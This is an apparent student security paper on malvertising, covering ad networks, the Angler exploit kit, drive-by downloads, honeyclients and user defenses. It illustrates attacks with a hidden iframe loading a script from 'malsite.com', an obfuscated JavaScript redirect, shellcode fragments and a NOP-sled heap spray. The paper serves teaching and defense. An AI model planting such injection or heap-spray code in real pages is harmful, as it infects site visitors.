Malvertisement

And you thought you were safe

Aaron Bowen

Comp 116 Computer Security

Abstract

Malvertisement is the distribution of malware via vulnerable and corrupted advertisements. The advertising industry is extraordinarily widespread and is responsible for generating a non-trivial percentage of internet-based revenue; consequently, there is a lot of money and expertise that goes into building ads that are successful at attracting people. This has effectively served attackers a victory on a silver platter: highly effective, widely distributed advertisements are often insecure and easily corruptible. A hacked ad widget might get 10,000 clicks a day, each prompting the browser to redirect to a malicious site instead of the intended one. Even a low infection rate can wreck a lot of havoc at that scale. Cyphort, an advanced malware defense company, released a 2015 study that indicated a 325% rise in malvertisement in the last twelve months alone. This puts the numbers at a conservative estimate of 10^{10} incidents per month—each incident having the power to infect thousands of users. This paper will describe the how advertisements are corrupted, demonstrate the severity of the situation, and detail how to defend against malvertisement attack. Ad networks are beginning to respond to the need, but for the moment, the good guys are losing simply because of the scale of the issue.

Introduction

The online advertising industry is an enormous market. Globally, it accrued 117.2 billion USD of revenue in 2013, and it's expected to be well on its way to double that by 2018 at 194.5 billion USD [7]. Billions of individual ads are served by ad networks every day, with Google AdSense claiming about 55% of the market share [10]. Sadly, distributing software packets to almost every internet user on the planet is a dream come true for a software attacker who wants to distribute malware as widely as possible. Usher in malicious advertising, or "malvertising".

Backing up, "malware", short for "malicious software", is simply defined as software designed to inflict damage, corrupt, or execute unwanted actions on a computer system. This is a very broad classification of software that includes everything from viruses to spyware. Often, malware is created to take advantage of a vulnerability, or security hole, in existing software. The motivation for building malware is as far-ranging as the motivation for common theft: desperation, revenge, boredom, etc.; but it remains a safe assumption that if a vulnerability exists, someone will find it and someone will attempt to exploit it for the greatest possible damage. It follows then, that the massive advertising industry, which is riddled with security flaws would receive considerable attention from attackers and become a platform for the distribution of overwhelming quantities of malware (see Appendix for a detailed examination of malware distribution through drive-by downloads). Attackers can corrupt an ad, turning it into malware, and allow an ad network to distribute it to millions of users worldwide. Not only that, but by its nature, the ad network will do everything in its power to convince the user to click on or interact with the advertisement, significantly augmenting the impact of the attack. This is the basis of malvertising.

Malvertising is an established method for software attacks. Unfortunately this does not mean that users are any more knowledgeable about defense against it than other forms of software attacks. A 2015 study by Google asked 231 experts who have at least five years of experience working in or studying computer security, and 294

non-experts what the three most important practices to optimize online safety [13]. The conclusion was that there is an unsettlingly large discrepancy between what is held to be important by security professionals versus users. For instance, the top practice voted on by experts is keeping software (browsers, plugins, etc.) up-to-date, while the non-experts' top vote of using antivirus software was ranked seventh by experts. Regrettably, this means that the a large majority of internet users are unaware of how to protect themselves effectively, leaving the attack channels wide open for hackers.

Demonstration of Severity

Exploit kits make for a popular means of attack, often capitalizing on outdated software. Exploit kits are bundles of software crafted to infiltrate software and compromise a computer system in some way. The most popular kit for malvertisement is the Angler Exploit kit, accounting for 90,000 user attacks per day in 2015 and generating more than 60 million USD annually [2]. A common chain of events involving the Angler Exploit kit has a user navigating to an upstanding vendor's website that hosts a small series of advertisements on its homepage, one of which is corrupted. The user doesn't interact with the advertisements in any way and closes the page within a short period of time, unaffected by all appearances. Several days later, the exploit kit that was surreptitiously stored onto the user's computer by the infected advertisement encrypts all files under the user's account and demands an arbitrarily sum of money in exchange for the encryption key. The user is completely unaware of where the ransomware came from and, in desperation, pays the fee as directed. This type of scenario has historically accounted for over 50% of the Angler Exploit kit revenue stream [2]. Instead of ransomware, Angler could be conducting identity theft, corrupting data, or any other attack the malware's author sees fit. This is a single exploit kit. There is a cornucopia of highly effective exploit kits that form only a single category of multifarious malvertising attack vectors. The internet community needs to be aware of the threat of malvertisement.

A traditional defense against any attack, cyber or otherwise, is to find and apprehend the culprit to prevent further intrusions or instantiate a penalty for the offense. In the malvertising arena, identifying criminals — or even the crimes — is incredibly difficult to do. Generally speaking, ads are served via real time bidding (RTB) auctioning systems which effectively allow advertising buyers to bid against each other based on a user's metadata (geographic location, browsing history, etc), with the highest bidder's ad being displayed in the available ad slot. The RTB process is repeated for each ad space that comes into view for the user. While an extremely effective method for displaying targeted advertisements, this benefit comes with the cost of advertisement anonymity: sites no longer know which ads they are displaying to a user. This means the host site, say weather.com, is not only unable to offer any protection for visitors because it is never aware of which ads are being displayed, but in reality the host site becomes an accomplice of attackers by displaying corrupted ads to the public. The good guys are being played.

The only entities left to prevent users from being attacked are ad networks, but further anonymity is provided to the advertisers by the sheer volume of ads being served around the world - billions per ad network per day. In order for a given malicious advertisement to be identified, its code needs to be tagged as malicious. Ad networks attempt to do this via code scans or reviews, but inspecting each and every ad is a task on an unbelievably large scale, ruling out any chance of reviewing ad code by real people. Automated security scans are capable of detecting simple or patterned attacks, but even most advanced and flexible scans are going to have a difficult time catching highly variable and creative malware [20]. This results in a significant percentage of malvertisements being released to the web. According to Pat Belcher, director of malware analysis at Invincea, even if a malvertisement is discovered to be malicious after deployment, an attacker could use the flexibility of the RTB system to display their ad for only a few hours, then remove their ad and their account (potentially

for a fake company) from the ad network, removing the linkability of the malvertisement attack to the actual attacker.

To make matters worse, in order to fulfill demands for speed and flexibility, ad networks and RTB systems often allow additional ad content to be hosted on third-party servers and only hold the core of the advertisement on their own servers. This allows for a rich ad experience, but allows attackers to pull in malicious scripts from their own servers posing as additional ad content. As is often the case, performance is pitted against security. It would be a judicious move for all ad content to be stored on the networks' servers so that there is less chance for loading malicious scripts or ads being compromised by infiltrators. RTB is cost effective, lowers barriers of entry for local businesses, provides unprecedented ad budget management, and is invaluable for identifying trends about customers [12]; but, as Belcher maintains, "any time you hear about malvertising, it's always because RTB has been abused" [17].

Drive-by Download Attack Description

This paper has claimed that there is a richly diverse series of attack channels, or vectors, for attackers to employ. In reality, there are only a few main vectors through which attackers are then able to execute the rich variety of exploits. For instance, hidden HTML iframes are used to service phishing, the loading of unsolicited content, and makes host sites extremely vulnerable to cross-site scripting attacks. Of the all attacks possible, there is an elite subset of the most popular and effective attacks — of this subset, drive-by downloads deserve an extensive analysis as the predominant method of attack. It is important to understand that this is an attack to gain control of a machine, once that has been accomplished, anything further attack is possible. Beforehand exploring this topic further, it is important to understand the entity that is the iframe.

An HTML iframe (inline frame), is used to create a modular component within a webpage that can autonomously load a document or site. For instance, Google AdSense uses iframes to display their banners in third-party websites. iframes are extremely prevalent in the web due to the high utility of displaying multiple sites' contents on a single page, however this ability lends itself to nefarious practices as much as to those of honorable intent. In malvertising, an ad may include an iframe that calls for a malicious script hosted on an attacker's server, or anything else. With an iframe, the host site is trusting the external domain not to serve up malware, but if the iframe belongs to an anonymous advertisement, there is no control whatsoever on what can and can't be loaded, malicious or not. The implications of this are staggering. A users can believe that their presence does not extend beyond their current site, but in reality, they could be concurrently accessing any other content on the web that can be reached by their browser. Malicious redirects can be invisibly simulated by loading the content that the user would have been redirected to in an iframe instead. By allowing advertisements to use iframes, ad networks have opened the doors to incredibly powerful malvertisements in the event that the code reviews do not catch malicious code. The danger is intensified by the fact that, as discussed earlier, ad networks allow ads to load content from external servers, content whose safety they are unable to guarantee. HTML iframes are not a harmful per se, but they do pose a significant security risk.

This risk is exploited extensively by the most prevalent of web attacks in malvertisement: drive-by downloads (DbDs), any download that occurs without the user's knowledge or consent. Silent downloads are achieved by an assortment of methods: an attacker might infiltrate a server for a legitimate website via any exploit means [18] — SQL injection [9] [8], cross-site scripting [5], etc. — and alter the site's templating content to include, say, an invisible iframe set to retrieve the malicious payload from a server owned by the attacker:

```
<iframe src="http://malsite.com/attackfile.js" width=0
```

```
height=0></iframe>.
```

On sites where user content is both allowed an unsanitized, an attacker could easily add malicious code that would persist and endanger every future visitor of that site. In this case, obfuscated javascript code within an HTML `script` tag is a popular choice — here is an example:

```
<script type="text/javascript"> var _0x551b =
["\x68\x74\x74\x70\x3A\x2F\x2F\x76\x69\x64\x65\x6F\x7A\x66\x72\x
65\x65\x2E\x63\x6F\x6D","\x72\x65\x70\x6C\x61\x63\x65"];
function exploit(){location[_0x551b[1]](_0x551b[0])} </script>
```

To de-obfuscate, convert the hex code into ASCII characters, then use the array access notation to insert the characters in the correct location:

```
function func() { location.replace("http://videozfree.com"); }
```

A honeyclient (honeyclients are discussed in more detail in the Defense section, though for now, let it suffice to say that they are intentionally vulnerable virtual machines that visit sites to see if they become infected) was used to visit videozfree.com, where it was attacked by exploit code and discovered social engineering content [18]. Rather than infecting a site, the hacker may construct a site of their own to host the nefarious code and use search engine optimization or manipulation to increase their web traffic.

However, the most frequently occurring scenario is that in which it is an advertisement that either directly contains or loads a malicious payload, again, often implemented with an iframe. The content itself is nearly always aimed to exploit third party plugins instead of the browser itself. The reason for this is two-fold: browsers are tested more rigorously than plugins generally are, and many times plugins are implemented in unsafe languages like C that have many well-documented security vulnerabilities such as buffer overflows, memory corruption issues, and pointer overwrites [6]. The malicious payload is very often a javascript file holding shellcode that runs in the context of the browser or third-party plugin and prompts the actual download.

Shellcode is code that exploits a software vulnerability, with the command shell it is often used to start for the attacker's use as its eponym. Due to filters and code analysis systems built to identify malicious code, shellcode is must be short [14] and obfuscated; in javascript this is usually done by stringifying hex percent-encoding. For example, "`%u9090`" executes the "`nop`" (no operation) assembly instruction twice; an incident might look like the following code [11]:

```
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b ...
                  %u09e1%u9631%u5580");.
```

Disassembled, the shellcode is more recognizable, but still unreadable for anyone without fluent knowledge of the system being attacked — and incredibly difficult to reverse engineer:

```
line count     machine code   assembly code

00000000       C9             leave
00000001       2B1F           sub ebx,[edi]
00000003       B10C           mov cl,0xc
00000005       BDC536DB9B     mov ebp,0x9bdb36c5
...
0000008D       09E1           or ecx,esp
0000008F       96             xchg eax,esi
00000090       315580         xor [ebp-0x80],edx
```

The machine code in the middle is the actual value of `shellcode` that gets stored in memory when the script is downloaded. Since the exploit must be short in length to avoid detection, the code is usually a set of instructions taking advantage of an unpatched vulnerability that triggers the machine to retrieve more powerful malware from a malicious web domain. In order to do this the shellcode needs to be executed, so program control needs to be given to the location in memory where `shellcode` has been stored. The management of program control and ensuring the shellcode gets executed is the job of the rest of the script containing the shellcode. To jump to the correct location in memory for shellcode execution is tricky, to say the least, since

`shellcode`'s exact location is secret to everyone but the system itself. Techniques such as the NOP Sled suggest prepending a very large number of meaningless instructions (such as `nop`) to the shellcode so that the program execution will "slide" along them until it reaches the exploit. The NOP Sled is analogous to increasing the size of a blind archer's target to increase her chances of hitting it. Since the important exploit code is stored at the end of the sled, the "archer" can hit, or jump to, anywhere in the sled and still be able to execute the exploit. The following demonstrates prepending an NOP sled to the shellcode above:

```
var sled = unescape("%u0a0a%u0a0a");
do {
     sled += sled;
} while(sled.length < 0xd0000);
var exploit = sled + shellcode;
```

The complexity of these attacks is somewhat removed from the attacker herself by tools such as Metasploit and Canvas that increase the attack's feasibility by automating the fingerprinting of a user's browser, the identification of potential vulnerabilities, and the obfuscation of exploit code [4]. Many plugins (this is true for software in general) share the same vulnerabilities, enabling a generic hack to affect a large set of systems [8]. The body of hacks that are available to attackers ever growing while more and more vulnerabilities are being documented: while machines remain vulnerable, they will eventually be broken into. Once a machine has been compromised, it can be used to carry out the whim of the attacker, including various malicious activities beyond affecting the single user, such as joining a botnet to service the attacker with enormous collective computing power, or adding strength to a distributed denial of service attack [6]. DbDs represent the 88.6% of malvertisement attacks, which comprise 90% of all web exploits, leaving DbDs responsible for 80% of all web attacks [15]. This is a major problem.

Defense

The problem of malvertisement is met by a monumentally inadequate attempt at defense. Part of this is the incredible complexity of real time bidding systems that protects malvertisers with anonymity; part of it is the inability of contemporary code analysis systems to identify highly creative malicious code; part of it is that malvertisement is propelled forward by a tool providing one of the core functionalities of the web 2.0: iframes. Ad networks have their work cut out for them.

Since the probability of ever discovering all or even most malicious ads, or successfully identifying malicious ads when they execute their attacks is incredibly unlikely, this may not be the way of the future for malware detection. State-of-the art malware detection does, in fact, lie elsewhere. Honeyclients, or client honeypots, are virtual machines that can visit a site and allow itself to be infected for the purpose of declaring a site safe or malicious [4]. This is done using state analysis to detect a compromised system; for instance, a new state may represent a file change, or a new process in execution. The two categories of honeyclients are measures of how comparable the honeyclient is to the system of a real user. Low interaction honeyclients do not utilize a full system and are only a lightweight simulation of a real client, while a high interaction classification indicates a system with no functional limitations. This does not mean that a high interaction honeyclient has every feature or plugin that a real client may have when visiting a website, so while comparable, they are not equal. After setup, the honeyclient is used to visit a selection of URLs that have been submitted for testing, if the honeyclient indicates a change in state after interacting with the site's server, the site is flagged as malicious or submitted for further testing. Given a successful detection of an exploit by a honeyclient, the site is marked as malicious on search engine results, or if it is an advertisement, it is removed from the web. High interaction honeyclients are more expensive to run than low interaction, but perform at much higher rates of success; though again, there is always the risk that the setup was incomplete (omitting the software exploited by a particular domain or advertisement) and thus will yield false

results. These virtual machines are among a series of web malware detection methods, but are currently the top performing; the only downside is their significant cost of setup and execution.

That said, end users themselves are not without defense. However, it has already been demonstrated that most users are not aware of the best fortifications against web attacks — let education be a step in the right direction. The study by Google that was described in the Introduction provides a list of top web security practices according to security professional. In order of descending efficacy, the following measures are recommended:

1. Update system [16] [21]
2. Use unique passwords
3. Use two-factor authentication
4. Use strong passwords
5. Use password manager
6. Check for HTTPS
7. Don't share information
8. Use antivirus
9. Use Linux
10. Use verified software
11. Be suspicious of everything
12. Visit only known websites
13. Change password
14. Delete cookies

The recommendation to use password managers may require explanation. Password managers provide several key functions: they generate secure passwords, and they store passwords behind a master passwords known only to the user. The advantage of secure passwords goes without saying, and the user of a password manager exports the need to know what exactly constitutes a secure password from the user to the password authority. Many users hold this stance: “I try to remember my passwords because no one can hack my mind.” This position is upheld by password managers, rather than discredited, since the master password shielding all stored credentials is held by the user alone. Common managers include LastPass, Dashlane, and KeePass. Interested readers should look further into this study for further analysis and advice.

Not listed here is a practice specific to malvertisement: adblockers. These tools provide protection from malvertisement by blocking ads, malicious or not, from displaying to the user. While the use of these tools is a highly disputed topic for valid economic reasons, from the point of safety, the advocacy of their use is tenable and justifiable. AdBlock is one of the most commonly used ad blockers with over 40,000,000 users [1], and ranks as the top Safari extension [19]. Google, as the largest ad network, has recently released a solution for users who want to avoid the ads for one reason or another. Google Contributor [3] is a paid service that removes a percentage of ads from pages the user visits. The payment serves as a contribution to support visited sites that would otherwise be paid for displaying ads to the user.

Conclusion

The focus of this paper has been on the severe threat of malvertisement. The enormous market for online advertising has provided no end of good for businesses, but has left users vulnerable to hackers. A user need only visit a site with corrupt or malicious advertisements to be subject to any attack her software is vulnerable to, often through the use of drive-by downloads. This can easily leave the user's system completely compromised and entirely subject to the attack's control. These cases happen more frequently than necessary as the statistically average user is more is unaware of the most effective web security practices.

This paper reviewed the most prominent malvertisement attack — indeed, most prevalent web attack in general — in detail, providing in-depth explanation and code sample for the execution of drive-by downloads. Though there is no single defense against these attacks, the top fourteen web security practices were reviewed, as well as some examples of possible software solutions for these practices including password managers and ad blockers.

The internet is the reason the modern world exists as it does. It has become cornerstone in the daily lives of people everywhere as it is used to accomplish tasks such as shopping and communication, among others, that would otherwise require physical presence. Malvertisement is the most significant threat toward the web today, and it isn't going away anytime soon. There are limited defenses against these attacks, but all readers should keep in mind that for complete security, internet browsing should be abandoned altogether. An infeasible option to sustain the modern world, but the undeniable hazard of malvertisement must be acknowledged and dealt with.

References

[1] AdBlock. In Chrome Web Store. Retrieved December 11, 2015, from https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom?utm_source=plus

[2] Baisini, N. (2015, October 6). Threat Spotlight: Cisco Talos Thwarts Acccess to Massive International Exploit Kit Generating $60M Annually from Ransomware Alone. In Cisco Talos. Retrieved from http://www.talosintel.com/angler-exposed/

[3] Contributor by Google. Retrieved December 11, 2015, from https://www.google.com/contributor/welcome/

[4] Cova, M., Kruegel, C., & Vigna, G. (2010, April 30). Detection and Analysis of Drive-by-Download Attacks and Malicious JavaScript Code. Retrieved from http://www.site.uottawa.ca/~nelkadri/CSI5389/Papers/40-Cova_et_al_WWW2010.pdf

[5] CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') cwe.mitre.org/top25/index.html#CWE-79

[6] Egele, M., Kirda, E., Kruegel, C., & Wurzinger, P. Defending Browsers against Drive-by Downloads: Mitigating Heap-spraying Code Injection Attacks. Retrieved December 10, 2015, from http://www.iseclab.org/papers/driveby.pdf

[7] Global internet advertising revenue from 2013 to 2018 (in billion U.S. dollars) (2014). In Statista. Retrieved December 3, 2015, from http://www.statista.com/statistics/237800/global-internet-advertising-revenue/

[8] Goodin, D. (2008, April 25). Department of Homeland Security website hacked!. In The Register. Retrieved from http://www.theregister.co.uk/2008/04/25/mass_web_attack_grows

[9] Goodin, D. (2008, September 16). SQL injection taints BusinessWeek.com. In The Register. Retrieved from http://www.theregister.co.uk/2008/09/16/businessweek_hacked/

[10] Google Will Take 55% of Search Ad Dollars Globally in 2015 (2015, March 31). In Emarketer. Retrieved December 3, 2015, from http://www.emarketer.com/Article/Google-Will-Take-55-of-Search-Ad-Dollars-Globally-2015/1012294

[11] Help me understand this JavaScript exploit. (2008, December 19). In Stackoverflow.com. Retrieved December 10, 2015, from http://stackoverflow.com/questions/381171/help-me-understand-this-javascript-exploit and http://stackoverflow.com/questions/381171/help-me-understand-this-javascript-exploit/381205#381205

[12] Horowitz, S. What is real time bidding and why is it more effective than direct bidding methods?. In Executive Digital. Retrieved from http://www.executive-digital.com/digital-marketing-experts/what-is-real-time-bidding-and-why-is-it-more-effective-than-direct-bidding-methods/

[13] Ion, I., Reeder, R., & Consolvo, S. (2015). "...no one can hack my mind:: Comparing Expert and Non-Expert Security Practices. 2015 Symposium on Usable Privacy and Security. Retrieved from https://www.usenix.org/system/files/conference/soups2015/soups15-paper-ion.pdf

[14] JavaScript_Large_Unescape. In IBM X-Force Exchange. Retrieved December 9, 2015, from https://exchange.xforce.ibmcloud.com/signature/JavaScript_Large_Unescape

[15] Kjærsgaard, M. (2015, March 3). How You Can Get Infected via World Wide Web Exploits. In Heimdal Security. Retrieved from https://heimdalsecurity.com/blog/internet-browser-vulnerabilities/

[16] Miller, J. A. (2015, October 21). Malvertising — the new silent killer?. In CIO. Retrieved from http://www.cio.com/article/2995078/malware/malvertising-the-new-silent-killer.html

[17] Mimoso, M. (2015, March 30). Ad Networks Ripe for Abuse Via Malvertising. In Threatpost. Retrieved from https://threatpost.com/ad-networks-ripe-for-abuse-via-malvertising/111840/

[18] Provos, N., Wang, K., Mavrommatis, P., McNamee, D., & Modadugu, N. Detection and Analysis of Drive-by-Download Attacks and Malicious JavaScript Code. Retrieved from https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/provos/provos.pdf

[19] Safari Extensions. Retrieved December 11, 2015, from https://extensions.apple.com/

[20] Segura, J. (2015, April 13). Real-Time Bidding and Malvertising: A Case Study. In Malware Bytes Unpacked. Retrieved from https://blog.malwarebytes.org/malvertising-2/2015/04/real-time-bidding-and-malvertising-a-case-study/

[21] Zaharia, A. (2015, September 2). Are You Protected from The Biggest Threat Hiding Right in Your Browser?. In CIO. Retrieved from https://heimdalsecurity.com/blog/biggest-threat-in-your-browser/